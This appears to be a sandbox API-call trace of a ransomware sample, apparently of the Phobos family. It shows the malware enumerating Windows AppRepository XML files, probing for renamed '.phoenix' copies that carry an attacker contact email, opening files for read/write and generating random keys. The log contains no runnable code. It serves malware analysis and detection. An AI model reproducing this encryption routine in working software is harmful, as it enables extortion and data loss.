	[0230.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.074] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.074] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.074] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.075] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4202) returned 1
	[0230.075] CloseHandle (hObject=0x2f4) returned 1
	[0230.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.075] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.075] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.075] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.075] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2278) returned 1
	[0230.075] CloseHandle (hObject=0x2f4) returned 1
	[0230.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0230.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.317] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.317] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.317] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.317] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=10931) returned 1
	[0230.317] CloseHandle (hObject=0x2f0) returned 1
	[0230.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.318] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.318] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.318] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsphone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.318] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=5353) returned 1
	[0230.318] CloseHandle (hObject=0x2f0) returned 1
	[0230.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsphone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsphone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.318] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsphone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.318] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.318] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.319] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=847) returned 1
	[0230.319] CloseHandle (hObject=0x2f0) returned 1
	[0230.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.319] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.319] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.319] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.319] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=847) returned 1
	[0230.319] CloseHandle (hObject=0x2f0) returned 1
	[0230.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.319] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.319] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.319] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.320] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=9322) returned 1
	[0230.320] CloseHandle (hObject=0x2f0) returned 1
	[0230.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.320] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.320] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.320] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.320] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=18415) returned 1
	[0230.320] CloseHandle (hObject=0x2f0) returned 1
	[0230.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.320] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.321] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.321] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.321] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=18007) returned 1
	[0230.321] CloseHandle (hObject=0x2f0) returned 1
	[0230.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.321] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.321] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.321] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.321] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=941) returned 1
	[0230.321] CloseHandle (hObject=0x2f0) returned 1
	[0230.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.322] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.322] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.322] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.322] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=37684) returned 1
	[0230.322] CloseHandle (hObject=0x2f0) returned 1
	[0230.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.322] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.322] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.322] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.322] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=28363) returned 1
	[0230.322] CloseHandle (hObject=0x2f0) returned 1
	[0230.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.323] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.323] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.323] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsstore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.323] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=818) returned 1
	[0230.323] CloseHandle (hObject=0x2f0) returned 1
